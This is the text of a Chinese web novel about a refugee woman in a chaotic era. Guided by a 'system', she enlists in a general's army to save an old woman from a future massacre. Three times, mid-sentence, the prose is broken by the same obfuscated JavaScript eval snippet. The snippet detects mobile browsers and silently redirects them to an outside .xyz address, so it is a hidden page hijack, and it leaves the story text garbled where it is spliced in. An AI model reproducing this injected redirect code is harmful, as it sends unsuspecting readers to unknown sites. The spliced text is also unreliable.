《当古代流民进入快穿世界[快穿]》 1. “你知道要在乱世里救一个人,最好的办法是什么吗?” 烈日炎炎,官道上马蹄声不绝于耳,马蹄踏过之处扬起阵阵黄沙。 “咻”的一声响,鞭子再次重重地落到了身下马匹上,陈垚皱着眉,只嫌速度还不够快。他正打算再来一鞭子时,视野里突然滚出了一个黑乎乎的东西。 他心下一惊,猛地一扯缰绳,马儿嘶鸣一声,两只前蹄高高扬起,差点把他甩下来。 日光太烈,他在马上眯着眼才勉强瞧清这是个瘦弱弱的人,顿时心头火起,嗓音大得像打鼓,空气里的灰尘和黄沙似乎都被这一嗓子喊得震了几震: “官道上也敢走正中,想死在老子的马蹄下吗!” 那团黑乎乎的东西勉强蠕动了一下,艰难地从地上爬了起来,露出一张面黄肌瘦的脸来,两颊凹陷,一点儿肉都没有,更显得眼睛大又亮,是个流民无疑。 陈垚看她身量瘦小,神情懵懂,搞不清状况的样子,神情不耐地“啧”了一声,从怀里扯出个什么东西来。 陆秋筠还没从刚刚滚出去的冲击和那一声大嗓门里缓过神来,就迎面被一个东西砸了一下,她下意识伸手接住,那大嗓门又响起了: “你这女子,莫要再像今日一样了!闪开!” 她急忙倒退了几步,一人一马从她面前飞驰而过,扬起的黄沙糊了她一脸。 等她勉强抬眼去看,只能看到阳光下闪着冷光的盔甲和一个挺拔强壮的后背。 陆秋筠摊开掌心,一个布袋子正躺在她手心里,她打开袋子,正看见一把外圆内方的铜钱。 在她的世界里,这东西早就不值钱了,只有粮食和布帛才有交易的价值,看来这个世界还比她的世界好上一点。 她很珍惜低把这袋铜钱收起来,心里倒是对这个陌生的世界多了一些好感。 脑中那个自称系统的东西终于开始说话: “本次要完成的心愿是……” 陆秋筠屏息,有些紧张。 “救下老婆婆。” 她愣在了漫天的黄沙中,重复了一遍目标: “老婆婆……?” “是的,一个曾经帮助过原主的老婆婆。” 陆秋筠低头看了看现在这幅不属于自己的小身板,逐渐有些明白这个任务是怎么回事了,她裹紧外面那层黑布,一连串问道: “老婆婆是她的亲人吗,姓甚名谁?家住何处?我该怎么救她?” “不知道,所有的细节都要随着原主的记忆逐渐恢复才能得知。” 陆秋筠闻言在脑海中翻了翻,果然发现了一段陌生的记忆,这应该就是原先这个小女孩的。 记忆中她和一个老婆婆躲在一处院落中,她的嘴被老人紧紧捂着,模糊视线里是漫天的火光和血色,不多时,外面突然传来了几声尖叫和一阵阵杂乱的脚步声。 捂在她嘴上的手剧烈颤抖起来,苍老的声音响起,里面是浓浓的哀求和恐慌: “放过我们吧,我们都是——” 声音戛然而止,滚烫的热血溅到她的身上,那只手无力地垂下,她瞪大了眼,接住软倒在她怀里的苍老身躯,泪水早已流了满脸。 来不及再做任何事,银白的刀光一闪,她也倒了下去,在黑暗来临前,只听到模糊的几句交谈: “……崔复将军……屠城” 崔复,屠城。 陆秋筠从记忆中惊醒,身子因为那冷冰冰的“屠城”两字抖了抖,她默默平复了一下心绪,听到0302的声音再次响起: “第一次任务系统将为您提供帮助,已提取现有记忆,分析结束,建议宿主接近崔复,利用美人计救下婆婆。” 陆秋筠抹了把脸上的黄沙,在官道的边缘慢慢地向着刚刚那人离开的方向走去。 因为长时间没喝水,她的喉咙干得不行,一边走,她一边用沙哑的声音慢慢道: “先不说你的话有多天真,你觉得我现在算个美人吗?” “……” 0302沉默了,过了一会儿很艰难地说: “没事,不是美人我们也可以试试。” 陆秋筠笑了一下,明显是不为所动的:“不。” 0302警惕了起来:“那你现在要去干嘛?” “当然是完成你说的那个任务了。” 陆秋筠眺望了一下远处的城门,日头已经有些西斜了,她怕日落之前赶不到城内,连忙加快了脚步: “我是绝对不会做你说的那什么美人计的,只能另想它法。现在还是找个地方住一晚是正经。” 平州信都,风尘仆仆的陈垚连茶都没来得及喝就被崔复请去议事了。 他一进门,便看到崔复手底下的一众谋士都正坐在里面等着他,一个个儿神色自如,右下首那个留着把长胡,面容清瘦的老头胸有成竹地笑道: “可是宁州告急?” 陈垚心里诧异,心说这老头真是神了,殊不知这屋子里坐了满屋的人精,就他一个人搞不明白状况。 他从怀中取出那一封书信来,上前几步交给最上座的男人,很自然而然地问: “主公打算何时出兵?由谁率兵?” 他抬头去看崔复的神色,却在看见崔复的神情时愣了一下,心上涌出些怪异感。 崔复的脸庞一向俊秀到有些女气,带着平和笑意时还有些慈悲的佛性,叫人发自内心地觉得亲近和舒服。 陈垚无数次地见过崔复这样的神情——战前动员时,他对士兵声泪俱下的说话时是这样的;百姓受难时,他握着老人家枯瘦枯瘦的手说一定会给他们一片治世时也是这样的。 偏偏在今天,陈垚突然觉得他的神情出现了几分变化,宽和的笑意里好像多了几分得偿所愿的快意。 大热的天,他竟然觉得心底有些发凉,连忙轻轻摇了摇头,不让自己再想下去了。 面容清瘦的老头观察了一下众人的神色,抢先开口: “主公,我和那魏潜曾为同窗,此人最是阴险狡诈,还弄出了个什么天下大势和那些妖术鼓动人心,如今他正势强,宁州必定抵挡不住,我们不宜妄动啊。” 有这谋士开头,剩下的人也纷纷开口,大意也是劝崔复不要出兵,陈垚直觉有些不对,但他这武将哪里说得过这些谋士,只能将目光投向了上座的崔复。 却见那坐在上首的人对他摇摇头,很无奈地道: “陈将军,你也看到了,不是我不想出兵,实在是有心无力,我也得对平州的百姓负责啊。” 陈垚一愣,下意识地点点头,表示自己理解,沉默地坐了回去。 他觉得主公说的也挺对,但是不知为何心里就是不太痛快。 他很久之前就跟着崔复了,那时崔复还是投靠于宁州东宁郡郡守的一个无名小卒,与郡守师生相称,仿若做了亲父子一般。 这便也罢。可主公当年在东宁还握着那老人家的手,说定不会让他们被战火侵扰,这竟也是不作数的吗。 议事结束,陈垚闷头就要走出去,被崔复叫住了,留在了最后一个。 崔复面色无奈,是推心置腹的态度:“我知道你心中不好受,惦念着宁州的百姓,可你今天也看到了,这些谋士们都不赞同我出兵。” 他语气诚恳,眉头轻皱:“你跟随我的时间最长,我只想着你不要同我起间隙。” 陈垚连忙摇了摇头,表示不会。 崔复又同他说了些他也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679096|173198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忧心百姓的话语,让他放心,他仍是记得当初他们一起打天下的承诺的。 陈垚终于觉得他一开始追随的那个在乎百姓的主公又回来了,心下略安,高高兴兴地掀帘出去了。 陈垚出去后不久,摇着羽扇蓄着长胡的老头又走进来,笑着对崔复道喜: “恭喜主公得偿所愿。” “徐先生说笑。” 崔复见他进来,对他微微一笑。徐宗顺势道:“陈将军似乎不大快意。” 崔复站在堂下,一双眼睛无波无浪地看着堂外的日光: “我手下这些将领里他兵力最重,居功自傲也是常事。” “若是实在有了异心……”他眼里闪过杀意,“我就不信只有他一人能打胜仗。” 徐宗又摇了摇那把羽扇,心里对那愣头青将军起了一点微薄的怜悯之意。 果然是没脑子的武将,真是蠢得可怜,连自己跟了几年的主公都看不清。 日暮之时,陆秋筠终于在城门关闭前赶到了城门口。 站在城门口,举目四望都是衣衫褴褛神情凄惶的流民。陆秋筠裹紧身上那件脏兮兮的黑袍,佝偻着腰,混在流民的人潮中安静地进了城。 但其实流民进了城又能怎么样呢。 夜幕降临,日落时涌进来的一大群流民无处可去,只能睡在人家的院墙外面,蜷缩着身子御寒,脸上满是木然和疲累。 有时也许是有人想到了自己那不知道在哪里飘零的亲人,黑暗沉寂的夜空里也会蓦地传来一两声尖声嚎哭,又在最高处戛然而止,像是被掐了嗓子的鸡。 陆秋筠瞧着,只觉得这清冷冷的月光下躺着的分明是一个个待宰的灵魂。她也蜷着身子窝在墙角处,心里很无望的,又好像叹息一般地想着: 人生何苦啊。 她冷得直发抖,明明这些年里她已经看过无数次这样的场面了,甚至她自己也是这其中的一员,为什么还是这么痛苦呢。 陆秋筠闭着眼——当然是睡不着的,兄长被杀死的画面,她亲手杀人的画面,妇人被剖开肚子取出还未成型的婴儿的画面……一幕幕在她脑海里反复出现,直搅得她不得安宁。 因此,当周围出现了一点细微的不同寻常的动静时,陆秋筠立刻警醒地睁开了眼。 她撑起身子,看见前面不远处有一片光亮,她记得那儿睡得是一个眼角下有刀疤的年轻汉子。 这户人家的主人正提着个灯笼要回家,瞥见地上的人影,见怪不怪地抬脚要跨过去,谁知突然被一只伸出来的手扯了衣角,直吓得那只提着灯笼的手晃了又晃。 “您莫怪——”这汉子连忙挤出一个笑来,松开手给主人家磕了个头,“还请您给指个活路。” 这主人家扯出自己的衣袖,举起灯笼看见这汉子眼下一条刀疤,还是未愈合的情状,皮肉外翻,此时挤出那笑容来,更显得可怕。 再往下,那瘦骨嶙峋的脖颈上竟还挂着一个小孩子常挂的长命锁。 主人家默然一瞬,只叹一口气,说道:“陈将军的兵营里这几日正在募兵,只要不怕死,便饿不死你。” 说罢,那灯笼照出来的一片光在黑暗中晃晃悠悠地远去了,好似湖上的一叶轻舟,只留那汉子叩头道谢的声音。 募兵…… 陆秋筠摸到怀中的那个绣着“陈”字的布包,眼中闪过几分复杂思绪,心中已然有了计较。 她在脑海中发出的声音也是轻轻的,像是怕惊扰了什么: “0302,你知道要在乱世里救一个人,最好的办法是什么吗?” 0302的电子音一滞,难得带上了些人性化的犹疑: “……什么?” 2. “兴法度求太平” 天将将明,陆秋筠已经悄悄起身。 她越过那些蜷缩在地上的流民,在城中找了一户看上去还比较体面的人家,用那将军给她的钱向人家买了一套男装。 不太合身,但幸好这世道本来也没有多少人能穿上合身的衣服。 不一会儿,那扇门再打开,走出来的就是一个瘦瘦小小的年轻男子了。 陆秋筠顺着别人的指引到了陈垚的军营时,营地周围已经围了一圈人,她走过去,拍拍其中一个的肩膀,嗓音沙哑: “大哥,这里可是在征兵?” 这汉子回头,只看见一个瘦瘦小小面黄肌瘦的小子站在自己身后,他上下打量了这瘦小子一眼,笑着摆了摆手: “小娃子,还是喊你老爹来吧,你这身板哪儿能上战场啊。” 陆秋筠细微地皱了下眉,面黄肌瘦的脸上有些忧愁和伤心之色,说道:“我爹已经不在了。” 这人高马大的汉子一愣,不知是怜悯还是怎么,还是侧了侧身,让她去里面登记。 “里面那个坐着拿着簿子的,你去找他,”他又为难地看了一眼她的体格,好意提醒道,“只是你这身板,能不能进还真说不准。” 陆秋筠连忙点点头,感激地道了谢,在他让出的一点空位置中挤了过去。 “谴责你,利用别人的同情心。” 0302还沉浸在昨晚跟她谈判的失败里,愤愤不平地道。 “我说的也是实话。”她不以为意。 眼下正是乱世,官府的户籍系统简直是全面崩盘,陆秋筠本身就来自乱世,对这点心知肚明,因此随口编了个昨晚从流民口中听到的地点混过了前面的审查。 只是大概是她的身高和体格实在是瘦小,登记的那人也有些犹豫,握着笔的手踌躇一下,还是没写下他的名字。 “小兄弟,将军吩咐了,募兵得大致达到他的要求,你身量似乎略有些矮了。” 这负责登记的人明显是个书生,相貌清秀,肤色苍白,衣着简朴,浑身一股书生气。 一双眼睛带着几分歉意,看过来时好像春风化雨一般,再蛮不讲理的人似乎也不好意思在他面前撒泼,怪不得被选来负责登记。 但陆秋筠没看他的脸,她多看了一眼他的手,心想这手倒是有些意思,手指偏长,指节分明,像是很有些力气的样子。 她收回视线,直视着那双眼睛,很执着又很冷静地说:“我很能打的。” 她这话说得有些狂妄,特别是配合着她现在的形象,活像是个不知天高地厚的毛头小子,跑到军营面前叫嚣来了。 王景一愣,好像没想到她会这么说,握着笔的手微微卸了力,脸上有些为难。周围的老兵们倒是立马来了兴趣,起哄说那小兄弟你给我们露一手。 有一个大汉拍了拍那书生的肩膀,嘲笑般说道: “那不然王景你就去和他打一架,看看你们两谁能打的过谁。” 王景连连摇头,还没来得及开口拒绝,陆秋筠倒是先开口了: “我怕把他打坏了,”她一本正经地说道,还没等众人轰然笑开来,她就在人群中指了个正常身材看起来像是个新兵的汉子,“就他吧,可以吗?” 那新兵一愣,立马雄赳赳气昂昂地走过来,一拍胸脯:“来!” “自作孽,不可活。” 0302觉得她不听自己的话,现在倒了霉,很得意。 陆秋筠没理它,微微压低了身体,眼睛只盯着对面的人。 一刻钟后。 “这是怎么放倒的——” “这个,这个总不能还打不过了吧!” “打他,打他,放倒他,别给我们丢脸……诶呦!” 刚走到军营门口的陈垚皱了皱眉,立马听出来这是又聚众打架了,一步并作两步地进了营地,刚要骂人,就看到了诡异的一幕。 募兵登记的地方莫名其妙地空了一大块空地出来,外面围了一大群人,只能勉强看到里面站着的是个瘦弱弱的年轻人。 年轻人面前正躺着一个比他高上不少的汉子,此时被众人一嘘,面红耳赤地站起身,又是佩服又是不甘地道: “小兄弟,你这一手真是绝了,不过战场上可不一定管用。” 陈垚皱了皱眉,定眼一瞧,他那负责募兵的老亲兵也正兴致勃勃地站在旁边,看得起劲呢。 他几步走过去,冲副官头上来了一下,很不满地道: “干什么呢这是,让你募兵,你就是这样募兵的?” 陈垚平时和士兵们关系好,亲兵见他来了也不怵,反而笑嘻嘻地揽过他的肩膀,指着空地正中间站着的那个人影,满脸稀奇: “将军,你看那个小身板,可能打呢。” 陈垚又朝他头上来了一下,让他把人疏散开,远远地向王景喊道: “既然有本事,咱们也就不拘泥于那些条文了,你把这位小兄弟的名字记上吧。” 王景应了一声,眉眼一弯,好像全然不在意她刚刚拿他开玩笑的样子: “恭喜小兄弟得偿所愿,我也不用左右为难了,还请小兄弟再说一遍姓名?” “陆丘,山丘的丘。” 陈垚正朝这边走来,0302再接再厉地表达对她的怀疑: “你完了,他肯定会认出你。” 陆秋筠没理它,只看着身形魁梧的将军大步如风地向她走来,她面色淡定地站在原地,就见陈垚面色犹疑地皱了皱眉:“嘶……” “不听系统言,吃亏……” “你这小兄弟,到年龄了没,我可不收小孩。” 0302:“……他是脸盲吗。” 陆秋筠在心里无声地笑了一下—— 当时他也不过只是瞥了她一眼,太阳大,空气里又都是风尘,他能认出来才怪呢。 她低头很恭敬地回答陈垚: “回将军,小人绝对够年龄,只是从小就是这个体格。” 她抬起头,脸小小的一团,脸上还有些灰痕,还是那一句:“但我很能打的。” “就是一个问题,”陆秋筠不好意思地笑了笑,“将军这儿应该不会挨饿吧,小人这几年饿怕了。” 陈垚哈哈大笑,浓眉舒展开来,大掌很自然地伸过来拍拍她瘦弱的肩膀: “放心,只要你好好干,绝对不会饿着你。” 陆秋筠就这样成功混进了陈垚的兵营,她自己身上也没带什么东西,东西都是现领的,跟着那老亲兵往兵营里走,老兵一边打量她的小身板子一边啧啧称奇: “真奇了,你咋就能把那些人撂倒的?” 陆秋筠微微一笑:“以前世道没乱时师父教的。” 这倒不是说谎,她在自己的世界里确实曾有过一段奇遇,也因着那奇遇,她才能在乱世里活那么久。 原来是有师承。老兵了然点头,领着她到了一处营帐,里面已经有了七八个汉子,正在整理东西。 陆秋筠看了眼自己的铺位,很直言不讳地问老兵: “我什么时候才能有自己的帐子。” 老兵乐了: “这你还是做梦比较快,眼下就是百夫长也没有单独睡一个帐的道理,除非你能求到陈将军面前。” 陆秋筠也没在意他的态度,只点点头就去收拾自己的东西了。 营帐里的几人听见她刚刚的话,也没人招呼她,但她也不欲和他们有交流,这样更好,自己收拾自己的。 当天晚上,几个人都累得狠了,帐子里气味纷杂,几个人鼾声打得比雷响。 陆秋筠自己没地方洗澡,也没在意周围的环境,和衣在自己床上安静地睡了。 第二天,几人一大早被鼓声叫醒,穿好衣服后去领朝食,于是那几个人就看见那心高气傲的小伙子两眼放光接过那几个胡饼,口水都差点留下来。 几人默默打量了一下这人瘦猴儿似的身板,昨天的不满倒是消了一点。 陆秋筠根本没心思去想别人在想什么,嘴里塞着胡饼,怀里还揣着几个,看上去倒是吃的很高兴。 0302有些看不下去: “陆秋筠,咱们能不能有点出息,等以后去了其他世界,好吃的更多。” 陆秋筠喝了一口水壶里的水,不以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679097|173198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意: “你现在说的再好听,我也吃不到。” 吃过朝食,士兵们又被聚起来进行操练,宣讲军规、军令等等,就这样过了几天,陈垚的兵营里每天都有新兵进来,训练也从未停过。 新招来的兵也都是十人左右分直接分睡在一个营帐里,这显然是时间紧迫、随时都要行军的样子。 果然,十几日后,募兵和训练停止。期间陈垚早就派人给各个营帐都定了十夫长,再一层层地向上,百夫长,千夫长等等,等军队都组织得差不多后,大军终于浩浩荡荡地出发了。 大军出发那天,陆秋筠就站在队列中,灰头土脸地缩着脖子抵御清晨的冷风,看上去只是无数个蚂蚁一样的小兵里最普通的一个。 她本来还有些无精打采,一抬头却看见最前方有两面大旗,后面意面上写着“陈”,前面的一面上却赫然写着大大的一个“崔”字! “屠城”两个字好像又在耳边响了起来,陆秋筠浑身一抖,连兜头的冷风都顾不得了,伸手拉住旁边的老兵,好像只是因为好奇随口一问,但那伸出去的手都在拼命打颤: “咱们将军不是姓陈吗,怎么还有个旗子写的是‘崔’?” 老兵奇怪地看她一眼,说你小子居然连这都不知道,他把自己被有些被扯歪的衣领理好,然后连忙又把手缩了回去抵御寒风,随口道: “陈将军不就是跟着崔复崔将军的吗,咱们当然也算是崔将军的兵了。” 预感成真,没想到居然真的这么巧,陆秋筠几乎愣在了原地。 今天大军出征,将领一般都要出来鼓舞士气,说不定崔复也会出来—— 陆秋筠抬起头,眯着眼努力从那几个小点点里辨认哪个是崔复。 恰在此时,四周响起一阵阵鼓声。 负责打鼓的并不是陆秋筠这些后来的半吊子士兵,而是陈垚带来的“嫡亲”士兵,敲出的鼓声如雷鸣一般震耳,寒风中仿佛有音浪直冲着中间的大军而来。 大军顿时骚动起来,这些灰头土脸的士兵们大多在几天前还是逃难的流民,他们不知道发生了什么,惊惶地四处张望。 鼓声响了一阵后,高台上终于有人快步走了出来,陆秋筠看不清几人的脸,却认出了其中一高大强壮的人影应该就是陈垚。 他身为此支军队的将领,却并未站在前面,而是跟在另外两人身后,那两人中有一人举起手,鼓声瞬间停止。 她紧盯着那人,呼吸微微急促,却在那人开口时泄了气—— 是个老头的声音。 这老头不知是何方神圣,声音苍老却分外洪亮清晰。 他举起一长卷,而后慷慨激昂地念了起来,大意便是出征在即,必先鼓舞士气,因此某名士徐宗作讨伐檄文一篇,虽然已布告海内,战前也应使诸位将士再闻知一番。 他念来念去,无非是说王朝倾倒,有贼人魏潜罔顾生灵倒行逆施作乱宁州,平州州牧崔复有感百姓困苦,法度不复,故起兵讨魏,欲兴法度求太平,得天意顺民心云云。 陆秋筠听得认真,身旁同一营帐的十夫长李腾看着她纳罕: “你能听懂这老头在说什么不成?” 她自然是能听懂的,但也只是摇摇头:“听不懂。况且这前面也不是写给我们听的。” 檄文本来就是一堵他人口舌的表面文章,她环顾四周,果然见大多数人都是一脸茫然。 但那老头显然也不是蠢人,他念完长卷,又侃侃而谈起来,话语中软硬兼施,既讲明逃兵一律处死,又许以名声好处。 偏偏还有最能煽动情绪的一击: 都是魏潜天天打仗,你们才会流亡他乡,妻离子散,但现在皇帝昏庸,朝廷的刑罚已经管不了魏潜,只能由有能之人应天命来惩罚他,而这有能之人正是崔复。你说你们是不是应该誓死效忠这位明主? 雷鸣鼓声适时响起,等鼓声停下,四周早已是一片“兴法度求太平”“逆贼当死”的呼声。 方才问她的李腾也跟着喊了起来,陆秋筠环顾四周,脑子里的第一个念头却是: 所以魏潜到底是谁?宁州又是哪儿? 3. “可我担心,做了将军,就不记得要救人了。” 陆秋筠暂时没能弄明白这些问题,毕竟她现在连个十夫长都不是。 她正忙着适应军中的生活,一边跟着大部队行军,一边还要在这具身体上拾起从前的功夫。 生活虽然辛苦了些,但陈垚的军队不短士兵的供给,陆秋筠对吃饭又一向积极,就是比她块头大的都抢不过她,她每天都能吃得饱,仅这一点,她对现在的生活也就还算满意了。 再者,那些老兵还跟她说若是在战场上立了功,还会有奖赏,叫她一定要记着自己杀敌的数量,说不定到时候还能吃得上肉。 跟她聊天的正是那天带领她去营帐的那一位,姓张,据说本来是个商人,几年前背井离乡到外地经商,回来后却发现一家人全死光了,从那以后便一直待在了陈垚的军营里。 张老兵说到立功时还冲她挤眉弄眼地示意: “要是功劳再大点,直接被提拔当个百夫长什么的也是有可能的。” 陆秋筠咽下嘴里的饼,立马抓着这机会问道: “那要是我想救一个人呢?” 他哈哈一笑,笑过之后却是愣了一瞬。 “你想救你家人?” 张老兵看了她一眼,语气复杂地感叹道: “你倒是还有个奔头,也好。” 说罢,他鼓励似地伸手拍拍她的肩,收了那吊儿郎当的劲头: “你要是能当上将军,手底下可就有了千把个兵,救个人有什么难,想怎么吃就怎么吃,想拿什么就拿什么,那才叫爽快呢!” 陆秋筠被他拍得身子晃了晃,她听着这些话,心里本该有些受触动。 但她仔细想想,最后还是摇了摇头,在张老兵的疑惑视线里咬了一大口胡饼,腮帮子塞得鼓鼓: “可我担心,做了将军,就不记得要救人了。” 说完她拍拍屁股,站起身继续去训练,徒留张老兵在她身后看着篝火直发愣。 紧凑的行军生活中,陆秋筠倒渐渐和同一个营帐中的人熟了起来。 她平时生活是最井井有条的,也和其他人井水不犯河水,什么磨牙打呼她一概不管。一开始其他人还为这个拌过几句嘴,差点因为这个打起来,也是她给劝停住的。 就是劝的方式有点一言难尽,陆秋筠过来看了看他们要打起来的架势,轻飘飘地说了一句: “还是吃得太饱,都当了兵还打架,嫌命长吗?” 话糙理不糙,两个人顿时停了下来。 几天相处后,几个人就发现陆秋筠是他们里面最细心最冷静的一个,脑子还灵活,一开始的芥蒂早就消失了,反而隐隐有些佩服她,甚至有拿她当第二个十夫长的势头。 某天去领补给的时候,陆秋筠还在这军中发现了一个熟面孔——王景。 这书生样的人竟然也正跟着陈垚的大军一起行军,他似乎被分配了管理补给的任务,这会儿正焦头烂额地和人吵架,浑身如沐春风的气质都被冲淡了些,倒显得更接地气了。 “将军有令,每人的补给都是有定规的,你胡搅蛮缠也没用。” 王景强忍着火气,正和人吵架吵得心烦,忽觉身侧传来一道直勾勾的视线,转头就看了回去。 本以为会又是个来找麻烦的士兵,谁知却是个身量清瘦、双目澄澈的少年人,还冲他挥了挥手: “原来你也在这儿呀。你叫王景对吗。” 他一愣,后知后觉想起这是当初由自己记入军中的那个陆丘,满脸的怒气顿时消融,冲她轻轻点了点头,还露出了个笑容。 繁重疲惫的行军途中得到这样一个友好的笑容还是很让人高兴的,陆秋筠也回了他个笑容。 后来再碰到,虽然行军繁忙没什么时间交流,但两人也总要打个招呼,像有了什么共识一般。 这天,军队终于行进到了一座城池前,张老兵跟她说这是宁州最东边的东宁郡,要进宁州腹地,大凡都要先攻下这儿。 很快,后头崔复的军令一层层传下来,要陈垚带兵先打头阵开始攻城。 陆秋筠环顾四周,发现军令传下后士兵们明显躁动了起来,单就和她同一营帐的几个人来说,十夫长李腾一会儿兴奋地说自己要一举封侯封官,一会儿又抱着头喃喃自语抖若筛糠。 当然也有直接痛哭说自己不想死的,陆秋筠也不知道要说什么,只能伸手拍拍他的肩膀。 战事真正发生时,根本没那么多的时间来让人反应,陆秋筠只是站在队列里看了一会儿远处骑在高头大马上的陈垚的身影,军队就突然开始移动了。 几乎所有人都像是在被推着裹挟着往前进,耳边俱是混乱的叫嚷声,陆秋筠握紧手中的刀,只来得及庆幸这应该不是原主记忆中的那次屠城,就不得不举刀迎上迎面而来的银光。 马蹄扬起阵阵沙尘,数不清的兵士混乱地厮杀在一起,不知道过了多久,陆秋筠闪身避开一人攻击,抬起头时才发现,她竟在不知不觉间越来越靠近大旗了。 陈垚就在她的不远处,正和敌方将领缠斗,两将身边的亲兵也你来我往。 不知为何,陈垚身边的亲兵看上去少了一些,陆秋筠预感有些不妙,一边对付敌人一边分了些神注意那边。 忽然,陈垚身边的一个亲兵闪躲不及,被一□□中甲胄缝隙,刺中要害,竟然跌下了马,陈垚周身的包围圈立马出现了个空缺。 陆秋筠眉心一跳,电光火石间提起长刀冲到了那匹马旁,翻身上马,幸好那马也听话,她在马上稳住身形,长刀一扬,便化解了向这个方向刺来的一道攻击。 陈垚向她投来一瞥,似乎很是惊讶。 很快,他就发现这个小瘦猴的本事还真是不小,一柄普通的长刀在她手里灵活无比,也不像其他的普通士兵那样全是乱砍,分明是有招有式的。又兼她观察敏锐,几乎刀刀都是奔着甲胄的缝隙而去,竟给他分去了许多压力。 陆秋筠上马后,两方不对等之势愈发明显,敌方将领似乎感到了些不妙,身旁大旗挥舞起来,要先行退兵。 陈垚哪里能让他走,一夹马腹加快速度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679098|173198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,两边亲兵组成的包围圈硬生生地被他冲出了个缺口。 陆秋筠瞥见他冲锋的背影,几乎没来得及过多思考就紧紧跟在了他身后。 这不过是几息之间发生的事,两人冲乱包围圈,直冲敌方首领。 “关城门——” “快关城门!” 不知为何,城墙上守军到现在才开始放箭,慌乱下几乎没多少支是有准头的,反让两人直接冲到了城门下。 敌方首领正指挥小兵速速关上城门,陆秋筠挑落几人武器,止住关门的势头,陈垚抓住这一时机,骤然发力,硬生生地将对方击落下马。 陆秋筠在马上喘匀气息,看着陈垚的军队冲开城门,势如破竹地攻进城内,还有些回不过神: “攻城……怎么会如此之快?” “因为这不是东宁原来的守军,而是之前攻占了此城的魏潜留下的军队。” 同在马上的陈垚开口回答了她的问题,他的目光紧盯着城内混乱的景象: “不过十几日,城内的百姓根本供不起第二次战事,魏潜的军队也没那么多补给。” “不然,这箭早就扎我们脑袋上了,我们怎么可能打得那么顺利,”他随手挑起一支箭,语气微顿,又说了一句陆秋筠没听懂的话,“况且,魏军的优势也不在正面攻守。” 恰在此时传令兵赶来,低声对陈垚说了什么,陆秋筠与他并肩,隐隐听见了“崔将军”“徐军师”“围困”等等字样,她心头一跳,不由侧耳,但也没听到更多信息。 传令兵说完后,陈垚皱了皱眉,刚要调转马头,却又突然深深看了她一眼,冲她招了招手: “瘦猴,你很不错,等会儿记得去王景那儿记功!” 说完这话,他才转身飞快纵马离开。 陆秋筠也下了马,向城内走去,此时城内一边倒的攻势已经接近尾声,她不愿看这些,转身向街边走去。 她走着走着,却突然听见此起彼伏的哭泣声,回过神来,她看见躲在街边的平民们都在满脸惊恐地看着她,不住地磕头求饶。 陆秋筠顿住脚步,低头,果然看见自己已经满身是血。 手中长刀微微颤抖,她仿佛被人狠狠给了一击,脸色变得煞白,双脚粘在地上,再也前进不了一步。 0302察觉到她情绪不对,还很人性化地叹了口气: “不如就按照我提供的方案来,现在这又是何苦呢?” “不过倒也不亏,你刚刚又解锁了一段原主的新记忆。” 新解锁的记忆开始自动浮现,画面中,面黄肌瘦的少女和老婆婆跟着一群人进了城,老婆婆在一处破败狭小的院落里抓着少女的手,高兴地不住落泪,颤声道: “终于到安原了,到了这儿,咱们就再也不用害怕,不用担心了。” 安原。陆秋筠下意识记住了这个名字。 那处院落,分明就是第一个回忆中出现的院落。看来,那场屠城,屠的就是安原,老婆婆和原主也是在那里丧生的。 4. “他竟在舌底放刀?” 王景来找陆秋筠记人头时,她正自己一个人坐在城外的山坡上。 “我上次看见你时,你还有些稚气,看上去像是个小孩,现在倒是大变样了。” 他慢慢走过去,也在她身边坐下,语气里有些调侃,很贴心地想化解一下沉重的氛围: “ 不过陈将军倒还是一口一个小瘦猴的叫你。” 他说的正是刚刚陈垚一直催着他给那个“小瘦猴”记功的事。 陆秋筠没看他,仿佛是在发呆,王景也全然不在意,安静地在她旁边坐着。 好一会儿,陆秋筠突然没头没脑地问道: “你会弹琴?” 王景藏在袖子里的修长手指蜷了蜷,他看上去有些惊讶: “你怎么知道的?” “看见了你的手,从前家里也有人谈了很多年的琴。” 王景也没追问她从前是个什么人家,他把那双手拿出来,安放在他的膝头,也将视线投向辽阔的天边和夕阳,语气有些怀念: “我比你虚长不少年岁,曾有过一段安生日子,因此才有幸学了琴,”他看向自己的手,“现在想来,像是上辈子的事情了。” 陆秋筠为他的话叹了口气,轻轻抚了抚他的手,像对待一件珍贵的瓷器。 陌生的温度袭上手指,王景手指和睫毛都颤了颤,受惊了似的,但是他也想不通为什么自己的反应那么大,于是忍下不说。 面前的小兵全然不知道他的心理活动,对他笑了一下,侧过来的半边脸都被染上了夕阳的暖黄色:“若是有太平的那一天,我一定要欣赏一下你的琴音。” 